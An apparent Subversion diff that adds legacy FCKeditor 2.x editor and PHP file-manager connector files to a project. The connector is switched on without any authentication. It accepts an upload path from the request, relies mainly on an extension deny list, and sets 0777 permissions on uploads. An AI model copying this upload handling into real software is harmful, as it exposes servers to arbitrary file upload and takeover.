+	LoadScript( FCKConfig.CustomConfigurationsPath ) ;
+
+	</script>
+	<script type="text/javascript">
+
+// Load configurations defined at page level.
+FCKConfig_LoadPageConfig() ;
+
+FCKConfig_PreProcess() ;
+
+// Load the active skin CSS.
+LoadCss( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+
+// Load the language file.
+FCKLanguageManager.Initialize() ;
+LoadScript( 'lang/' + FCKLanguageManager.ActiveLanguage.Code + '.js' ) ;
+
+	</script>
+	<script type="text/javascript">
+
+// Initialize the editing area context menu.
+FCK_ContextMenu_Init() ;
+
+FCKPlugins.Load() ;
+
+	</script>
+	<script type="text/javascript">
+	
+// Set the editor interface direction.
+window.document.dir = FCKLang.Dir ;
+
+// Activate pasting operations.
+if ( FCKConfig.ForcePasteAsPlainText || FCKConfig.AutoDetectPasteFromWord )
+	FCK.Events.AttachEvent( "OnPaste", FCK.Paste ) ;
+
+	</script>
+	<script type="text/javascript">
+
+window.onload = function()
+{
+	InitializeAPI() ;
+
+	if ( FCKBrowserInfo.IsIE )
+		FCK_PreloadImages() ;
+	else
+		LoadToolbarSetup() ;
+}
+
+function LoadToolbarSetup()
+{
+	FCKeditorAPI._FunctionQueue.Add( LoadToolbar ) ;
+}
+
+function LoadToolbar()
+{
+	var oToolbarSet = FCK.ToolbarSet = FCKToolbarSet_Create() ;
+	
+	if ( oToolbarSet.IsLoaded )
+		StartEditor() ;
+	else
+	{
+		oToolbarSet.OnLoad = StartEditor ;
+		oToolbarSet.Load( FCKURLParams['Toolbar'] || 'Default' ) ;
+	}
+}
+
+function StartEditor()
+{
+	// Remove the onload listener.
+	FCK.ToolbarSet.OnLoad = null ;
+
+	FCKeditorAPI._FunctionQueue.Remove( LoadToolbar ) ;
+
+	FCK.Events.AttachEvent( 'OnStatusChange', WaitForActive ) ;
+
+	// Start the editor.
+	FCK.StartEditor() ;
+}
+
+function WaitForActive( editorInstance, newStatus )
+{
+	if ( newStatus == FCK_STATUS_ACTIVE )
+	{
+		if ( FCKBrowserInfo.IsGecko )
+			FCKTools.RunFunction( window.onresize ) ;
+
+		FCK.SetStatus( FCK_STATUS_COMPLETE ) ;
+
+		// Call the special "FCKeditor_OnComplete" function that should be present in 
+		// the HTML page where the editor is located.
+		if ( typeof( window.parent.FCKeditor_OnComplete ) == 'function' )
+			window.parent.FCKeditor_OnComplete( FCK ) ;	
+	}
+}
+
+// Gecko browsers doens't calculate well that IFRAME size so we must
+// recalculate it every time the window size changes.
+if ( FCKBrowserInfo.IsGecko )
+{
+	function Window_OnResize()
+	{
+		if ( FCKBrowserInfo.IsOpera )
+			return ;
+
+		var oCell = document.getElementById( 'xEditingArea' ) ;
+
+		var eInnerElement ;
+		if ( eInnerElement = oCell.firstChild )
+		{
+			eInnerElement.style.height = 0 ;
+			eInnerElement.style.height = oCell.scrollHeight - 2 ;
+		}
+	}
+	window.onresize = Window_OnResize ;
+}
+
+	</script>
+</head>
+<body>
+	<table width="100%" cellpadding="0" cellspacing="0" style="height: 100%; table-layout: fixed">
+		<tr id="xToolbarRow" style="display: none">
+			<td id="xToolbarSpace" style="overflow: hidden">
+				<table width="100%" cellpadding="0" cellspacing="0">
+					<tr id="xCollapsed" style="display: none">
+						<td id="xExpandHandle" class="TB_Expand" colspan="3">
+							<img class="TB_ExpandImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+					</tr>
+					<tr id="xExpanded" style="display: none">
+						<td id="xTBLeftBorder" class="TB_SideBorder" style="width: 1px; display: none;"></td>
+						<td id="xCollapseHandle" style="display: none" class="TB_Collapse" valign="bottom">
+							<img class="TB_CollapseImg" alt="" src="images/spacer.gif" width="8" height="4" /></td>
+						<td id="xToolbar" class="TB_ToolbarSet"></td>
+						<td class="TB_SideBorder" style="width: 1px"></td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+		<tr style="height: 100%">
+			<td id="xEditingArea" valign="top"></td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/browser.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/browser.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/browser.css	(revision 44)
@@ -0,0 +1,84 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: browser.css
+ * 	CSS styles used by all pages that compose the File Browser.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+body
+{
+	background-color: #f1f1e3;
+}
+
+form
+{
+	margin: 0px 0px 0px 0px ;
+	padding: 0px 0px 0px 0px ;
+}
+
+.Frame
+{
+	background-color: #f1f1e3;
+	border-color: #f1f1e3;
+	border-right: thin inset;
+	border-top: thin inset;
+	border-left: thin inset;
+	border-bottom: thin inset;
+}
+
+body.FileArea
+{
+
+	background-color: #ffffff;
+}
+
+body, td, input, select
+{
+	font-size: 11px;
+	font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+.ActualFolder
+{
+	font-weight: bold;
+	font-size: 14px;
+}
+
+.PopupButtons
+{
+	border-top: #d5d59d 1px solid;
+	background-color: #e3e3c7;
+	padding: 7px 10px 7px 10px;
+}
+
+.Button, button
+{
+	border-right: #737357 1px solid;
+	border-top: #737357 1px solid;
+	border-left: #737357 1px solid;
+	color: #3b3b1f;
+	border-bottom: #737357 1px solid;
+	background-color: #c7c78f;
+}
+
+.FolderListCurrentFolder img
+{
+	background-image: url(images/FolderOpened.gif);
+}
+
+.FolderListFolder img
+{
+	background-image: url(images/Folder.gif);
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/browser.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/browser.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/browser.html	(revision 44)
@@ -0,0 +1,148 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: browser.html
+ * 	This page compose the File Browser dialog frameset.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<title>FCKeditor - Resources Browser</title>
+		<link href="browser.css" type="text/css" rel="stylesheet">
+		<script type="text/javascript" src="js/fckxml.js"></script>
+		<script language="javascript">
+
+function GetUrlParam( paramName )
+{
+	var oRegex = new RegExp( '[\?&]' + paramName + '=([^&]+)', 'i' ) ;
+	var oMatch = oRegex.exec( window.top.location.search ) ;
+	
+	if ( oMatch && oMatch.length > 1 )
+		return unescape( oMatch[1] ) ;
+	else
+		return '' ;
+}
+
+var oConnector = new Object() ;
+oConnector.CurrentFolder	= '/' ;
+
+var sConnUrl = GetUrlParam( 'Connector' ) ;
+
+// Gecko has some problems when using relative URLs (not starting with slash).
+if ( sConnUrl.substr(0,1) != '/' && sConnUrl.indexOf( '://' ) < 0 )
+	sConnUrl = window.location.href.replace( /browser.html.*$/, '' ) + sConnUrl ;
+
+oConnector.ConnectorUrl = sConnUrl + ( sConnUrl.indexOf('?') != -1 ? '&' : '?' ) ;
+
+var sServerPath = GetUrlParam( 'ServerPath' ) ;
+if ( sServerPath.length > 0 )
+	oConnector.ConnectorUrl += 'ServerPath=' + escape( sServerPath ) + '&' ;
+
+oConnector.ResourceType		= GetUrlParam( 'Type' ) ;
+oConnector.ShowAllTypes		= ( oConnector.ResourceType.length == 0 ) ;
+
+if ( oConnector.ShowAllTypes )
+	oConnector.ResourceType = 'File' ;
+
+oConnector.SendCommand = function( command, params, callBackFunction )
+{
+	var sUrl = this.ConnectorUrl + 'Command=' + command ;
+	sUrl += '&Type=' + this.ResourceType ;
+	sUrl += '&CurrentFolder=' + escape( this.CurrentFolder ) ;
+	
+	if ( params ) sUrl += '&' + params ;
+
+	var oXML = new FCKXml() ;
+	
+	if ( callBackFunction )
+		oXML.LoadUrl( sUrl, callBackFunction ) ;	// Asynchronous load.
+	else
+		return oXML.LoadUrl( sUrl ) ;
+}
+
+oConnector.CheckError = function( responseXml )
+{
+	var iErrorNumber = 0
+	var oErrorNode = responseXml.SelectSingleNode( 'Connector/Error' ) ;
+	
+	if ( oErrorNode )
+	{
+		iErrorNumber = parseInt( oErrorNode.attributes.getNamedItem('number').value ) ;
+		
+		switch ( iErrorNumber )
+		{
+			case 0 :
+				break ;
+			case 1 :	// Custom error. Message placed in the "text" attribute.
+				alert( oErrorNode.attributes.getNamedItem('text').value ) ;
+				break ;
+			case 101 :
+				alert( 'Folder already exists' ) ;
+				break ;
+			case 102 :
+				alert( 'Invalid folder name' ) ;
+				break ;
+			case 103 :
+				alert( 'You have no permissions to create the folder' ) ;
+				break ;
+			case 110 :
+				alert( 'Unknown error creating folder' ) ;
+				break ;
+			default :
+				alert( 'Error on your request. Error number: ' + iErrorNumber ) ;
+				break ;
+		}
+	}
+	return iErrorNumber ;
+}
+
+var oIcons = new Object() ;
+
+oIcons.AvailableIconsArray = [ 
+	'ai','avi','bmp','cs','dll','doc','exe','fla','gif','htm','html','jpg','js',
+	'mdb','mp3','pdf','ppt','rdp','swf','swt','txt','vsd','xls','xml','zip' ] ;
+	
+oIcons.AvailableIcons = new Object() ;
+
+for ( var i = 0 ; i < oIcons.AvailableIconsArray.length ; i++ )
+	oIcons.AvailableIcons[ oIcons.AvailableIconsArray[i] ] = true ;
+
+oIcons.GetIcon = function( fileName )
+{
+	var sExtension = fileName.substr( fileName.lastIndexOf('.') + 1 ).toLowerCase() ;
+
+	if ( this.AvailableIcons[ sExtension ] == true )
+		return sExtension ;
+	else
+		return 'default.icon' ;
+}
+		</script>
+	</head>
+	<frameset cols="150,*" class="Frame" framespacing="3" bordercolor="#f1f1e3" frameborder="1">
+		<frameset rows="50,*" framespacing="0">
+			<frame src="frmresourcetype.html" scrolling="no" frameborder="0">
+			<frame name="frmFolders" src="frmfolders.html" scrolling="auto" frameborder="1">
+		</frameset>
+		<frameset rows="50,*,50" framespacing="0">
+			<frame name="frmActualFolder" src="frmactualfolder.html" scrolling="no" frameborder="0">
+			<frame name="frmResourcesList" src="frmresourceslist.html" scrolling="auto" frameborder="1">
+			<frameset cols="150,*,0" framespacing="0" frameborder="0">
+				<frame name="frmCreateFolder" src="frmcreatefolder.html" scrolling="no" frameborder="0">
+				<frame name="frmUpload" src="frmupload.html" scrolling="no" frameborder="0">
+				<frame name="frmUploadWorker" src="../../../fckblank.html" scrolling="no" frameborder="0">
+			</frameset>
+		</frameset>
+	</frameset>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/basexml.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/basexml.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/basexml.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: basexml.php
+ * 	These functions define the base of the XML response sent by the PHP
+ * 	connector.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function SetXmlHeaders()
+{
+	ob_end_clean() ;
+
+	// Prevent the browser from caching the result.
+	// Date in the past
+	header('Expires: Mon, 26 Jul 1997 05:00:00 GMT') ;
+	// always modified
+	header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT') ;
+	// HTTP/1.1
+	header('Cache-Control: no-store, no-cache, must-revalidate') ;
+	header('Cache-Control: post-check=0, pre-check=0', false) ;
+	// HTTP/1.0
+	header('Pragma: no-cache') ;
+
+	// Set the response format.
+	header( 'Content-Type:text/xml; charset=utf-8' ) ;
+}
+
+function CreateXmlHeader( $command, $resourceType, $currentFolder )
+{
+	SetXmlHeaders() ;
+	
+	// Create the XML document header.
+	echo '<?xml version="1.0" encoding="utf-8" ?>' ;
+
+	// Create the main "Connector" node.
+	echo '<Connector command="' . $command . '" resourceType="' . $resourceType . '">' ;
+	
+	// Add the current folder node.
+	echo '<CurrentFolder path="' . ConvertToXmlAttribute( $currentFolder ) . '" url="' . ConvertToXmlAttribute( GetUrlFromPath( $resourceType, $currentFolder ) ) . '" />' ;
+}
+
+function CreateXmlFooter()
+{
+	echo '</Connector>' ;
+}
+
+function SendError( $number, $text )
+{
+	SetXmlHeaders() ;
+	
+	// Create the XML document header
+	echo '<?xml version="1.0" encoding="utf-8" ?>' ;
+	
+	echo '<Connector><Error number="' . $number . '" text="' . htmlspecialchars( $text ) . '" /></Connector>' ;
+	
+	exit ;
+}
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php	(revision 44)
@@ -0,0 +1,218 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: commands.php
+ * 	This is the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function GetFolders( $resourceType, $currentFolder )
+{
+	// Map the virtual path to the local server path.
+	$sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+	// Array that will hold the folders names.
+	$aFolders	= array() ;
+
+	$oCurrentFolder = opendir( $sServerDir ) ;
+
+	while ( $sFile = readdir( $oCurrentFolder ) )
+	{
+		if ( $sFile != '.' && $sFile != '..' && is_dir( $sServerDir . $sFile ) )
+			$aFolders[] = '<Folder name="' . ConvertToXmlAttribute( $sFile ) . '" />' ;
+	}
+
+	closedir( $oCurrentFolder ) ;
+
+	// Open the "Folders" node.
+	echo "<Folders>" ;
+	
+	natcasesort( $aFolders ) ;
+	foreach ( $aFolders as $sFolder )
+		echo $sFolder ;
+
+	// Close the "Folders" node.
+	echo "</Folders>" ;
+}
+
+function GetFoldersAndFiles( $resourceType, $currentFolder )
+{
+	// Map the virtual path to the local server path.
+	$sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+	// Arrays that will hold the folders and files names.
+	$aFolders	= array() ;
+	$aFiles		= array() ;
+
+	$oCurrentFolder = opendir( $sServerDir ) ;
+
+	while ( $sFile = readdir( $oCurrentFolder ) )
+	{
+		if ( $sFile != '.' && $sFile != '..' )
+		{
+			if ( is_dir( $sServerDir . $sFile ) )
+				$aFolders[] = '<Folder name="' . ConvertToXmlAttribute( $sFile ) . '" />' ;
+			else
+			{
+				$iFileSize = filesize( $sServerDir . $sFile ) ;
+				if ( $iFileSize > 0 )
+				{
+					$iFileSize = round( $iFileSize / 1024 ) ;
+					if ( $iFileSize < 1 ) $iFileSize = 1 ;
+				}
+
+				$aFiles[] = '<File name="' . ConvertToXmlAttribute( $sFile ) . '" size="' . $iFileSize . '" />' ;
+			}
+		}
+	}
+
+	// Send the folders
+	natcasesort( $aFolders ) ;
+	echo '<Folders>' ;
+
+	foreach ( $aFolders as $sFolder )
+		echo $sFolder ;
+
+	echo '</Folders>' ;
+
+	// Send the files
+	natcasesort( $aFiles ) ;
+	echo '<Files>' ;
+
+	foreach ( $aFiles as $sFiles )
+		echo $sFiles ;
+
+	echo '</Files>' ;
+}
+
+function CreateFolder( $resourceType, $currentFolder )
+{
+	$sErrorNumber	= '0' ;
+	$sErrorMsg		= '' ;
+
+	if ( isset( $_GET['NewFolderName'] ) )
+	{
+		$sNewFolderName = $_GET['NewFolderName'] ;
+
+		if ( strpos( $sNewFolderName, '..' ) !== FALSE )
+			$sErrorNumber = '102' ;		// Invalid folder name.
+		else
+		{
+			// Map the virtual path to the local server path of the current folder.
+			$sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+			if ( is_writable( $sServerDir ) )
+			{
+				$sServerDir .= $sNewFolderName ;
+
+				$sErrorMsg = CreateServerFolder( $sServerDir ) ;
+
+				switch ( $sErrorMsg )
+				{
+					case '' :
+						$sErrorNumber = '0' ;
+						break ;
+					case 'Invalid argument' :
+					case 'No such file or directory' :
+						$sErrorNumber = '102' ;		// Path too long.
+						break ;
+					default :
+						$sErrorNumber = '110' ;
+						break ;
+				}
+			}
+			else
+				$sErrorNumber = '103' ;
+		}
+	}
+	else
+		$sErrorNumber = '102' ;
+
+	// Create the "Error" node.
+	echo '<Error number="' . $sErrorNumber . '" originalDescription="' . ConvertToXmlAttribute( $sErrorMsg ) . '" />' ;
+}
+
+function FileUpload( $resourceType, $currentFolder )
+{
+	$sErrorNumber = '0' ;
+	$sFileName = '' ;
+
+	if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
+	{
+		global $Config ;
+
+		$oFile = $_FILES['NewFile'] ;
+
+		// Map the virtual path to the local server path.
+		$sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
+
+		// Get the uploaded file name.
+		$sFileName = $oFile['name'] ;
+		
+		// Replace dots in the name with underscores (only one dot can be there... security issue).
+		if ( $Config['ForceSingleExtension'] )
+			$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;
+
+		$sOriginalFileName = $sFileName ;
+
+		// Get the extension.
+		$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
+		$sExtension = strtolower( $sExtension ) ;
+
+		$arAllowed	= $Config['AllowedExtensions'][$resourceType] ;
+		$arDenied	= $Config['DeniedExtensions'][$resourceType] ;
+
+		if ( ( count($arAllowed) == 0 || in_array( $sExtension, $arAllowed ) ) && ( count($arDenied) == 0 || !in_array( $sExtension, $arDenied ) ) )
+		{
+			$iCounter = 0 ;
+
+			while ( true )
+			{
+				$sFilePath = $sServerDir . $sFileName ;
+
+				if ( is_file( $sFilePath ) )
+				{
+					$iCounter++ ;
+					$sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
+					$sErrorNumber = '201' ;
+				}
+				else
+				{
+					move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
+
+					if ( is_file( $sFilePath ) )
+					{
+						$oldumask = umask(0) ;
+						chmod( $sFilePath, 0777 ) ;
+						umask( $oldumask ) ;
+					}
+
+					break ;
+				}
+			}
+		}
+		else
+			$sErrorNumber = '202' ;
+	}
+	else
+		$sErrorNumber = '202' ;
+
+	echo '<script type="text/javascript">' ;
+	echo 'window.parent.frames["frmUpload"].OnUploadCompleted(' . $sErrorNumber . ',"' . str_replace( '"', '\\"', $sFileName ) . '") ;' ;
+	echo '</script>' ;
+
+	exit ;
+}
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/config.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/config.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/config.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: config.php
+ * 	Configuration file for the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+global $Config ;
+
+// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
+$Config['Enabled'] = true;
+
+// Path to user files relative to the document root.
+//$Config['UserFilesPath'] = '/UserFiles/' ;
+
+// Fill the following value it you prefer to specify the absolute path for the
+// user files directory. Usefull if you are using a virtual directory, symbolic
+// link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
+// Attention: The above 'UserFilesPath' must point to the same directory.
+$Config['UserFilesAbsolutePath'] = '' ;
+
+// Due to security issues with Apache modules, it is recommended to leave the
+// following setting enabled.
+$Config['ForceSingleExtension'] = true ;
+
+$Config['AllowedExtensions']['File']	= array() ;
+$Config['DeniedExtensions']['File']		= array('php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess') ;
+
+$Config['AllowedExtensions']['Image']	= array('jpg','gif','jpeg','png') ;
+$Config['DeniedExtensions']['Image']	= array() ;
+
+$Config['AllowedExtensions']['Flash']	= array('swf','fla') ;
+$Config['DeniedExtensions']['Flash']	= array() ;
+
+$Config['AllowedExtensions']['Media']	= array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
+$Config['DeniedExtensions']['Media']	= array() ;
+
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: connector.php
+ * 	This is the File Manager Connector for PHP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+ob_start() ;
+
+include('config.php') ;
+include('util.php') ;
+include('io.php') ;
+include('basexml.php') ;
+include('commands.php') ;
+
+if ( !$Config['Enabled'] )
+	SendError( 1, 'This connector is disabled. Please check the "editor/filemanager/browser/default/connectors/php/config.php" file' ) ;
+
+if(!function_exists('stristr_reverse')){
+	function stristr_reverse($haystack, $needle) {
+	  $pos = strpos($haystack, $needle);
+	  return substr($haystack, 0, $pos);
+	}
+}
+
+// Get the "UserFiles" path.
+$GLOBALS["UserFilesPath"] = '' ;
+
+if ( isset( $Config['UserFilesPath'] ) )
+	$GLOBALS["UserFilesPath"] = $Config['UserFilesPath'] ;
+else if ( isset( $_GET['ServerPath'] ) )
+	$GLOBALS["UserFilesPath"] = $_GET['ServerPath'] ;
+else
+{
+
+	$strBP = dirname($_SERVER['PHP_SELF']);
+	$strBP = stristr_reverse($strBP, 'inc/FCKeditor/editor/filemanager/browser/default/connectors/php');
+	if ($strBP{strlen($strBP)-1} != "/") $strBP	.= "/";
+	$strBP .= 'inc/FCKeditor/upload/';
+	$GLOBALS["UserFilesPath"] = $strBP ;
+}
+if ( ! preg_match( '/\/$/', $GLOBALS["UserFilesPath"] ) )
+	$GLOBALS["UserFilesPath"] .= '/' ;
+
+if ( strlen( $Config['UserFilesAbsolutePath'] ) > 0 ) 
+{
+	$GLOBALS["UserFilesDirectory"] = $Config['UserFilesAbsolutePath'] ;
+
+	if ( ! preg_match( '/\/$/', $GLOBALS["UserFilesDirectory"] ) )
+		$GLOBALS["UserFilesDirectory"] .= '/' ;
+}
+else
+{
+	// Map the "UserFiles" path to a local directory.
+	$GLOBALS["UserFilesDirectory"] = GetRootPath() . $GLOBALS["UserFilesPath"] ;
+}
+
+DoResponse() ;
+
+function DoResponse()
+{
+	if ( !isset( $_GET['Command'] ) || !isset( $_GET['Type'] ) || !isset( $_GET['CurrentFolder'] ) )
+		return ;
+
+	// Get the main request informaiton.
+	$sCommand		= $_GET['Command'] ;
+	$sResourceType	= $_GET['Type'] ;
+	$sCurrentFolder	= $_GET['CurrentFolder'] ;
+
+	// Check if it is an allowed type.
+	if ( !in_array( $sResourceType, array('File','Image','Flash','Media') ) )
+		return ;
+
+	// Check the current folder syntax (must begin and start with a slash).
+	if ( ! preg_match( '/\/$/', $sCurrentFolder ) ) $sCurrentFolder .= '/' ;
+	if ( strpos( $sCurrentFolder, '/' ) !== 0 ) $sCurrentFolder = '/' . $sCurrentFolder ;
+	
+	// Check for invalid folder paths (..)
+	if ( strpos( $sCurrentFolder, '..' ) )
+		SendError( 102, "" ) ;
+
+	// File Upload doesn't have to Return XML, so it must be intercepted before anything.
+	if ( $sCommand == 'FileUpload' )
+	{
+		FileUpload( $sResourceType, $sCurrentFolder ) ;
+		return ;
+	}
+
+	CreateXmlHeader( $sCommand, $sResourceType, $sCurrentFolder ) ;
+
+	// Execute the required command.
+	switch ( $sCommand )
+	{
+		case 'GetFolders' :
+			GetFolders( $sResourceType, $sCurrentFolder ) ;
+			break ;
+		case 'GetFoldersAndFiles' :
+			GetFoldersAndFiles( $sResourceType, $sCurrentFolder ) ;
+			break ;
+		case 'CreateFolder' :
+			CreateFolder( $sResourceType, $sCurrentFolder ) ;
+			break ;
+	}
+
+	CreateXmlFooter() ;
+
+	exit ;
+}
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/io.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/io.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/io.php	(revision 44)
@@ -0,0 +1,97 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: io.php
+ * 	This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function GetUrlFromPath( $resourceType, $folderPath )
+{
+	if ( $resourceType == '' )
+		return RemoveFromEnd( $GLOBALS["UserFilesPath"], '/' ) . $folderPath ;
+	else
+		return $GLOBALS["UserFilesPath"] . $resourceType . $folderPath ;
+}
+
+function RemoveExtension( $fileName )
+{
+	return substr( $fileName, 0, strrpos( $fileName, '.' ) ) ;
+}
+
+function ServerMapFolder( $resourceType, $folderPath )
+{
+	// Get the resource type directory.
+	$sResourceTypePath = $GLOBALS["UserFilesDirectory"] . $resourceType . '/' ;
+
+	// Ensure that the directory exists.
+	CreateServerFolder( $sResourceTypePath ) ;
+
+	// Return the resource type directory combined with the required path.
+	return $sResourceTypePath . RemoveFromStart( $folderPath, '/' ) ;
+}
+
+function GetParentFolder( $folderPath )
+{
+	$sPattern = "-[/\\\\][^/\\\\]+[/\\\\]?$-" ;
+	return preg_replace( $sPattern, '', $folderPath ) ;
+}
+
+function CreateServerFolder( $folderPath )
+{
+	$sParent = GetParentFolder( $folderPath ) ;
+
+	// Check if the parent exists, or create it.
+	if ( !file_exists( $sParent ) )
+	{
+		$sErrorMsg = CreateServerFolder( $sParent ) ;
+		if ( $sErrorMsg != '' )
+			return $sErrorMsg ;
+	}
+
+	if ( !file_exists( $folderPath ) )
+	{
+		// Turn off all error reporting.
+		error_reporting( 0 ) ;
+		// Enable error tracking to catch the error.
+		ini_set( 'track_errors', '1' ) ;
+
+		// To create the folder with 0777 permissions, we need to set umask to zero.
+		$oldumask = umask(0) ;
+		mkdir( $folderPath, 0777 ) ;
+		umask( $oldumask ) ;
+
+		$sErrorMsg = $php_errormsg ;
+
+		// Restore the configurations.
+		ini_restore( 'track_errors' ) ;
+		ini_restore( 'error_reporting' ) ;
+
+		return $sErrorMsg ;
+	}
+	else
+		return '' ;
+}
+
+function GetRootPath()
+{
+	$sRealPath = realpath( './' ) ;
+
+	$sSelfPath = $_SERVER['PHP_SELF'] ;
+	$sSelfPath = substr( $sSelfPath, 0, strrpos( $sSelfPath, '/' ) ) ;
+
+	return substr( $sRealPath, 0, strlen( $sRealPath ) - strlen( $sSelfPath ) ) ;
+}
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/util.php
===================================================================
